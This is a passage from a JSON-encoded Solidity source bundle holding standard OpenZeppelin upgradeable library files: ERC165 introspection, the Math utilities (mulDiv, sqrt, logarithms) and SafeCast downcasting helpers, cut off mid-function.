The hash of the version parameter for the EIP712 domain.\n *\n * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs\n * are a concern.\n */\n function _EIP712VersionHash() internal virtual view returns (bytes32) {\n return _HASHED_VERSION;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {\n function __ERC165_init() internal onlyInitializing {\n }\n\n function __ERC165_init_unchained() internal onlyInitializing {\n }\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165Upgradeable).interfaceId;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165Upgradeable {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary MathUpgradeable {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1);\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10**64) {\n value /= 10**64;\n result += 64;\n }\n if (value >= 10**32) {\n value /= 10**32;\n result += 32;\n }\n if (value >= 10**16) {\n value /= 10**16;\n result += 16;\n }\n if (value >= 10**8) {\n value /= 10**8;\n result += 8;\n }\n if (value >= 10**4) {\n value /= 10**4;\n result += 4;\n }\n if (value >= 10**2) {\n value /= 10**2;\n result += 2;\n }\n if (value >= 10**1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result * 8) < value ? 1 : 0);\n }\n }\n}\n" }, "@openzeppelin/contracts-upgradeable/utils/math/SafeCastUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)\n// This file was procedurally generated from scripts/generate/templates/SafeCast.js.\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow\n * checks.\n *\n * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can\n * easily result in undesired exploitation or bugs, since developers usually\n * assume that overflows raise errors. `SafeCast` restores this intuition by\n * reverting the transaction when such an operation overflows.\n *\n * Using this library instead of the unchecked operations eliminates an entire\n * class of bugs, so it's recommended to use it always.\n *\n * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing\n * all math on `uint256` and `int256` and then downcasting.\n */\nlibrary SafeCastUpgradeable {\n /**\n * @dev Returns the downcasted uint248 from uint256, reverting on\n * overflow (when the input is greater than largest uint248).\n *\n * Counterpart to Solidity's `uint248` operator.\n *\n * Requirements:\n *\n * - input must fit into 248 bits\n *\n * _Available since v4.7._\n */\n function toUint248(uint256 value) internal pure returns (uint248) {\n require(value <= type(uint248).max, \"SafeCast: value doesn't fit in 248 bits\");\n return uint248(value);\n }\n\n /**\n * @dev Returns the downcasted uint240 from uint256, reverting on\n * overflow (when the input is greater than largest uint240).\n *\n * Counterpart to Solidity's `uint240` operator.\n *\n * Requirements:\n *\n * - input must fit into 240 bits\n *\n * _Available since v4.7._\n */\n function toUint240(uint256 value) internal pure returns (uint240) {\n require(value <= type(uint240).max, \"SafeCast: value doesn't fit in 240 bits\");\n return uint240(value);\n }\n\n /**\n * @dev Returns the downcasted uint232 from uint256, reverting on\n * overflow (when the input is greater than largest uint232).\n *\n * Counterpart to Solidity's `uint232` operator.\n *\n * Requirements:\n *\n * - input must fit into 232 bits\n *\n * _Available since v4.7._\n */\n function toUint232(uint256 value) internal pure returns (uint232) {\n require(value <= type(uint232).max, \"SafeCast: value doesn't fit in 232 bits\");\n return uint232(value);\n }\n\n /**\n * @dev Returns the downcasted uint224 from uint256, reverting on\n * overflow (when the input is greater than largest uint224).\n *\n * Counterpart to Solidity's `uint224` operator.\n *\n * Requirements:\n *\n * - input must fit into 224 bits\n *\n * _Available since v4.2._\n */\n function toUint224(uint256 value) internal pure returns (uint224) {\n require(value <= type(uint224).max, \"SafeCast: value doesn't fit in 224 bits\");\n return uint224(value);\n }\n\n /**\n * @dev Returns the downcasted uint216 from uint256, reverting on\n * overflow (when the input is greater than largest uint216).\n *\n * Counterpart to Solidity's `uint216` operator.\n *\n * Requirements:\n *\n * - input must fit into 216 bits\n *\n * _Available since v4.7._\n */\n function toUint216(uint256 value) internal pure returns (uint216) {\n require(value <= type(uint216).max, \"SafeCast: value doesn't fit in 216 bits\");\n return uint216(value);\n }\n\n /**\n * @dev Returns the downcasted uint208 from uint256, reverting on\n * overflow (when the input is greater than largest uint208).\n *\n * Counterpart to Solidity's `uint208` operator.\n *\n * Requirements:\n *\n * - input must fit into 208 bits\n *\n * _Available since v4.7._\n */\n function toUint208(uint256 value) internal pure returns (uint208) {\n require(value <= type(uint208).max, \"SafeCast: value doesn't fit in 208 bits\");\n return uint208(value);\n }\n\n /**\n * @dev Returns the downcasted uint200 from uint256, reverting on\n * overflow (when the input is greater than largest uint200).\n *\n * Counterpart to Solidity's `uint200` operator.\n *\n * Requirements:\n *\n * - input must fit into 200 bits\n *\n * _Available since v4.7._\n */\n function toUint200(uint256 value) internal pure returns (uint200) {\n require(value <= type(uint200).max, \"SafeCast: value doesn't fit in 200 bits\");\n return uint200(value);\n }\n\n /**\n * @dev Returns the downcasted uint192 from uint256, reverting on\n * overflow (when the input is greater than largest uint192).\n *\n * Counterpart to Solidity's `uint192` operator.\n *\n * Requirements:\n *\n * - input must fit into 192 bits\n *\n * _Available since v4.7._\n */\n function toUint192(uint256 value) internal pure returns (uint192) {\n require(value <= type(uint192).max, \"SafeCast: value doesn't fit in 192 bits\");\n return uint192(value);\n }\n\n /**\n * @dev Returns the downcasted uint184 from uint256, reverting on\n * overflow (when the input is greater than largest uint184).\n *\n * Counterpart to Solidity's `uint184` operator.\n *\n * Requirements:\n *\n * - input must fit into 184 bits\n *\n * _Available since v4.7._\n */\n function toUint184(uint256 value) internal pure returns (uint184) {\n require(value <= type(uint184).max, \"SafeCast: value doesn't fit in 184 bits\");\n return uint184(value);\n }\n\n /**\n * @dev Returns the downcasted uint176 from uint256, reverting on\n * overflow (when the input is greater than largest uint176).\n *\n * Counterpart to Solidity's `uint176` operator.\n *\n * Requirements:\n *\n * - input must fit into 176 bits\n *\n * _Available since v4.7._\n */\n function toUint176(uint256 value) internal pure returns (uint176) {\n require(value <= type(uint176).max, \"SafeCast: value doesn't fit in 176 bits\");\n return uint176(value);\n }\n\n /**\n * @dev Returns the downcasted uint168 from uint256, reverting on\n * overflow (when the input is greater than largest uint168).\n *\n * Counterpart to Solidity's `uint168` operator.\n *\n * Requirements:\n *\n * - input must fit into 168 bits\n *\n * _Available since v4.7._\n */\n function toUint168(uint256 value) internal pure returns (uint168) {\n require(value <= type(uint168).max, \"SafeCast: value doesn't fit in 168 bits\");\n return uint168(value);\n }\n\n /**\n * @dev Returns the downcasted uint160 from uint256, reverting on\n * overflow (when the input is greater than largest uint160).\n *\n * Counterpart to Solidity's `uint160` operator.\n *\n * Requirements:\n *\n * - input must fit into 160 bits\n *\n * _Available since v4.7._\n */\n function toUint160(uint256 value) internal pure returns (uint160) {\n require(value <= type(uint160).max, \"SafeCast: value doesn't fit in 160 bits\");\n return uint160(value);\n }\n\n /**\n * @dev Returns the downcasted uint152 from uint256, reverting on\n * overflow (when the input is greater than largest uint152).\n *\n * Counterpart to Solidity's `uint152` operator.\n *\n * Requirements:\n *\n * - input must fit into 152 bits\n *\n * _Available since v4.7._\n */\n function toUint152(uint256 value) internal pure returns (uint152) {\n require(value <= type(uint152).max, \"SafeCast: value doesn't fit in 152 bits\");\n return uint152(value);\n }\n\n /**\n * @dev Returns the downcasted uint144 from uint256, reverting on\n * overflow (when the input is greater than largest uint144).\n *\n * Counterpart to Solidity's `uint144` operator.\n *\n * Requirements:\n *\n * - input must fit into 144 bits\n *\n * _Available since v4.7._\n */\n function toUint144(uint256 value) internal pure returns (uint144) {\n require(value <= type(uint144).max, \"SafeCast: value doesn't fit in 144 bits\");\n return uint144(value);\n }\n\n /**\n * @dev Returns the downcasted uint136 from uint256, reverting on\n * overflow (when the input is greater than largest uint136).\n *\n * Counterpart to Solidity's `uint136` operator.\n *\n * Requirements:\n *\n * - input must fit into 136 bits\n *\n * _Available since v4.7._\n */\n function toUint136(uint256 value) internal pure returns (uint136) {\n require(value <= type(uint136).max, \"SafeCast: value doesn't fit in 136 bits\");\n return uint136(value);\n }\n\n /**\n * @dev Returns the downcasted uint128 from uint256, reverting on\n * overflow (when the input is greater than largest uint128).\n *\n * Counterpart to Solidity's `uint128` operator.\n *\n * Requirements:\n *\n * - input must fit into 128 bits\n *\n * _Available since v2.5._\n */\n function toUint128(uint256 value) internal pure returns (uint128) {\n require(value <= type(uint128).max, \"SafeCast: value doesn't fit in 128 bits\");\n return uint128(value);\n }\n\n /**\n * @dev Returns the downcasted uint120 from uint256, reverting on\n * overflow (when the input is greater than largest uint120).\n *\n * Counterpart to Solidity's `uint120` operator.\n *\n * Requirements:\n *\n * - input must fit into 120 bits\n *\n * _Available since v4.7._\n */\n function toUint120(uint256 value) internal pure returns (uint120) {\n require(value <= type(uint120).max, \"SafeCast: value doesn't fit in 120 bits\");\n return uint120(value);\n }\n\n /**\n * @dev Returns the downcasted uint112 from uint256, reverting on\n * overflow (when the input is greater than largest uint112).\n *\n * Counterpart to Solidity's `uint112` operator.\n *\n * Requirements:\n *\n * - input must fit into 112 bits\n *\n * _Available since v4.7._\n */\n function toUint112(uint256 value) internal pure returns (uint112) {\n require(value <= type(uint112).max, \"SafeCast: value doesn't fit in 112 bits\");\n return uint112(value);\n }\n\n /**\n * @dev Returns the downcasted uint104 from uint256, reverting on\n * overflow (when the input is greater than largest uint104).\n *\n * Counterpart to Solidity's `uint104` operator.\n *\n * Requirements:\n *\n * - input must fit into 104 bits\n *\n * _Available since v4.7._\n */\n function toUint104(uint256 value) internal pure returns (uint104) {\n require(value <= type(uint104).max, \"SafeCast: value doesn't fit in 104 bits\");\n return uint104(value);\n }\n\n /**\n * @dev Returns the downcasted uint96 from uint256, reverting on\n * overflow (when the input is greater than largest uint96).\n *\n * Counterpart to Solidity's `uint96` operator.\n *\n * Requirements:\n *\n * - input must fit into 96 bits\n *\n * _Available since v4.2._\n */\n function toUint96(uint256 value) internal pure returns (uint96) {\n require(value <= type(uint96).max, \"SafeCast: value doesn't fit in 96 bits\");\n return uint96(value);\n }\n\n /**\n * @dev Returns the downcasted uint88 from uint256, reverting on\n * overflow (when the input is greater than largest uint88).\n *\n * Counterpart to Solidity's `uint88` operator.\n *\n * Requirements:\n *\n * - input must fit into 88 bits\n *\n * _Available since v4.7._\n */\n function toUint88(uint256 value) internal pure returns (uint88) {\n require(value <= type(uint88).max, \"SafeCast: value doesn't fit in 88 bits\");\n return uint88(value);\n }\n\n /**\n * @dev Returns the downcasted uint80 from uint256, reverting on\n * overflow (when the input is greater than largest uint80).\n *\n * Counterpart to Solidity's `uint80` operator.\n *\n * Requirements:\n *\n * - input must fit into 80 bits\n *\n * _Available since v4.7._\n */\n function toUint80(uint256 value) internal pure returns (uint80) {\n require(value <= type(uint80).max, \"SafeCast: value doesn't fit in 80 bits\");\n return uint80(value);\n }\n\n /**\n * @dev Returns the downcasted uint72 from uint256, reverting on\n * overflow (when the input is greater than largest uint72).\n *\n * Counterpart to Solidity's `uint72` operator.\n *\n * Requirements:\n *\n * - input must fit into 72 bits\n *\n * _Available since v4.7._\n */\n function toUint72(uint256 value) internal pure returns (uint72) {\n require(value <= type(uint72).max, \"SafeCast: value doesn't fit in 72 bits\");\n return uint72(value);\n }\n\n /**\n * @dev Returns the downcasted uint64 from uint256, reverting on\n * overflow (when the input is greater than largest uint64).\n *\n * Counterpart to Solidity's `uint64` operator.\n *\n * Requirements:\n *\n * - input must fit into 64 bits\n *\n * _Available since v2.5._\n */\n function toUint64(uint256 value) internal pure returns (uint64) {\n require(value <= type(uint64).max, \"SafeCast: value doesn't fit in 64 bits\");\n return uint64(value);\n }\n\n /**\n * @dev Returns the downcasted uint56 from uint256, reverting on\n * overflow (when the input is greater than largest uint56).\n *\n * Counterpart to Solidity's `uint56` operator.\n *\n * Requirements:\n *\n * - input must fit into 56 bits\n *\n * _Available since v4.7._\n */\n function toUint56(uint256 value) internal pure returns (uint56) {\n require(value <= type(uint56).max, \"SafeCast: value doesn't fit in 56 bits\");\n return uint56(value);\n }\n\n /**\n * @dev Returns the downcasted uint48 from uint256, reverting on\n * overflow (when the input is greater than largest uint48).\n *\n * Counterpart to Solidity's `uint48` operator.\n *\n * Requirements:\n *\n * - input must fit into 48 bits\n *\n * _Available since v4.7._\n */\n function toUint48(uint256 value) internal pure returns (uint48) {\n require(value <= type(uint48).max, \"SafeCast: value doesn't fit in 48 bits\");\n return uint48(value);\n }\n\n /**\n * @dev Returns the downcasted uint40 from uint256, reverting on\n * overflow (when the input is greater than largest uint40).\n *\n * Counterpart to Solidity's `uint40` operator.\n *\n * Requirements:\n *\n * - input must fit into 40 bits\n *\n * _Available since v4.7._\n */\n function toUint40(uint256 value) internal pure returns (uint40) {\n require(value <= type(uint40).max, \"SafeCast: value doesn't fit in 40 bits\");\n return uint40(value);\n }\n\n /**\n * @dev Returns the downcasted uint32 from uint256, reverting on\n * overflow (when the input is greater than largest uint32).\n *\n * Counterpart to Solidity's `uint32` operator.\n *\n * Requirements:\n *\n * - input must fit into 32 bits\n *\n * _Available since v2.5._\n */\n function toUint32(uint256 value) internal pure returns (uint32) {\n require(value <= type(uint32).max, \"SafeCast: value doesn't fit in 32 bits\");\n return uint32(value);\n }\n\n /**\n * @dev Returns the downcasted uint24 from uint256, reverting on\n * overflow (when the input is greater than largest uint24).\n *\n * Counterpart to Solidity's `uint24` operator.\n *\n * Requirements:\n *\n * - input must fit into 24 bits\n *\n * _Available since v4.7._\n */\n function toUint24(uint256 value) internal pure returns (uint24) {\n require(value <= type(uint24).max, \"SafeCast: value doesn't fit in 24 bits\");\n return uint24(value);\n }\n\n /**\n * @dev Returns the downcasted uint16 from uint256, reverting on\n * overflow (when the input is greater than largest uint16).\n *\n * Counterpart to Solidity's `uint16` operator.\n *\n * Requirements:\n *\n * - input must fit into 16 bits\n *\n * _Available since v2.5._\n */\n function toUint16(uint256 value) internal pure returns (uint16) {\n require(value <= type(uint16).max, \"SafeCast: value doesn't fit in 16 bits\");\n return uint16(value);\n }\n\n /**\n * @dev Returns the downcasted uint8 from uint256, reverting on\n * overflow (when the input is greater than largest uint8).\n *\n * Counterpart to Solidity's `uint8` operator.\n *\n * Requirements:\n *\n * - input must fit into 8 bits\n *\n * _Available since v2.5._\n */\n function toUint8(uint256 value) internal pure returns (uint8) {\n require(value <= type(uint8).max, \"SafeCast: value doesn't fit in 8 bits\");\n return uint8(value);\n }\n\n /**\n * @dev Converts a signed int256 into an unsigned uint256.\n *\n * Requirements:\n *\n * - input must be greater than or equal to 0.\n *\n * _Available since v3.0._\n */\n function toUint256(int256 value) internal pure returns (uint256) {\n require(value >= 0, \"SafeCast: value must be positive\");\n return uint256(value);\n }\n\n /**\n * @dev Returns the downcasted int248 from int256, reverting on\n * overflow (when the input is less than smallest int248 or\n * greater than largest int248).\n *\n * Counterpart to Solidity's `int248` operator.\n *\n * Requirements:\n *\n * - input must fit into 248 bits\n *\n * _Available since v4.7._\n */\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\n downcasted = int248(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 248 bits\");\n }\n\n /**\n * @dev Returns the downcasted int240 from int256, reverting on\n * overflow (when the input is less than smallest int240 or\n * greater than largest int240).\n *\n * Counterpart to Solidity's `int240` operator.\n *\n * Requirements:\n *\n * - input must fit into 240 bits\n *\n * _Available since v4.7._\n */\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\n downcasted = int240(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 240 bits\");\n }\n\n /**\n * @dev Returns the downcasted int232 from int256, reverting on\n * overflow (when the input is less than smallest int232 or\n * greater than largest int232).\n *\n * Counterpart to Solidity's `int232` operator.\n *\n * Requirements:\n *\n * - input must fit into 232 bits\n *\n * _Available since v4.7._\n */\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\n downcasted = int232(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 232 bits\");\n }\n\n /**\n * @dev Returns the downcasted int224 from int256, reverting on\n * overflow (when the input is less than smallest int224 or\n * greater than largest int224).\n *\n * Counterpart to Solidity's `int224` operator.\n *\n * Requirements:\n *\n * - input must fit into 224 bits\n *\n * _Available since v4.7._\n */\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\n downcasted = int224(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 224 bits\");\n }\n\n /**\n * @dev Returns the downcasted int216 from int256, reverting on\n * overflow (when the input is less than smallest int216 or\n * greater than largest int216).\n *\n * Counterpart to Solidity's `int216` operator.\n *\n * Requirements:\n *\n * - input must fit into 216 bits\n *\n * _Available since v4.7._\n */\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\n downcasted = int216(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 216 bits\");\n }\n\n /**\n * @dev Returns the downcasted int208 from int256, reverting on\n * overflow (when the input is less than smallest int208 or\n * greater than largest int208).\n *\n * Counterpart to Solidity's `int208` operator.\n *\n * Requirements:\n *\n * - input must fit into 208 bits\n *\n * _Available since v4.7._\n */\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\n downcasted = int208(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 208 bits\");\n }\n\n /**\n * @dev Returns the downcasted int200 from int256, reverting on\n * overflow (when the input is less than smallest int200 or\n * greater than largest int200).\n *\n * Counterpart to Solidity's `int200` operator.\n *\n * Requirements:\n *\n * - input must fit into 200 bits\n *\n * _Available since v4.7._\n */\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\n downcasted = int200(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 200 bits\");\n }\n\n /**\n * @dev Returns the downcasted int192 from int256, reverting on\n * overflow (when the input is less than smallest int192 or\n * greater than largest int192).\n *\n * Counterpart to Solidity's `int192` operator.\n *\n * Requirements:\n *\n * - input must fit into 192 bits\n *\n * _Available since v4.7._\n */\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\n downcasted = int192(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 192 bits\");\n }\n\n /**\n * @dev Returns the downcasted int184 from int256, reverting on\n * overflow (when the input is less than smallest int184 or\n * greater than largest int184).\n *\n * Counterpart to Solidity's `int184` operator.\n *\n * Requirements:\n *\n * - input must fit into 184 bits\n *\n * _Available since v4.7._\n */\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\n downcasted = int184(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 184 bits\");\n }\n\n /**\n * @dev Returns the downcasted int176 from int256, reverting on\n * overflow (when the input is less than smallest int176 or\n * greater than largest int176).\n *\n * Counterpart to Solidity's `int176` operator.\n *\n * Requirements:\n *\n * - input must fit into 176 bits\n *\n * _Available since v4.7._\n */\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\n downcasted = int176(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 176 bits\");\n }\n\n /**\n * @dev Returns the downcasted int168 from int256, reverting on\n * overflow (when the input is less than smallest int168 or\n * greater than largest int168).\n *\n * Counterpart to Solidity's `int168` operator.\n *\n * Requirements:\n *\n * - input must fit into 168 bits\n *\n * _Available since v4.7._\n */\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\n downcasted = int168(value);\n require(downcasted == value, \"SafeCast: value doesn't fit in 168 bits\");\n 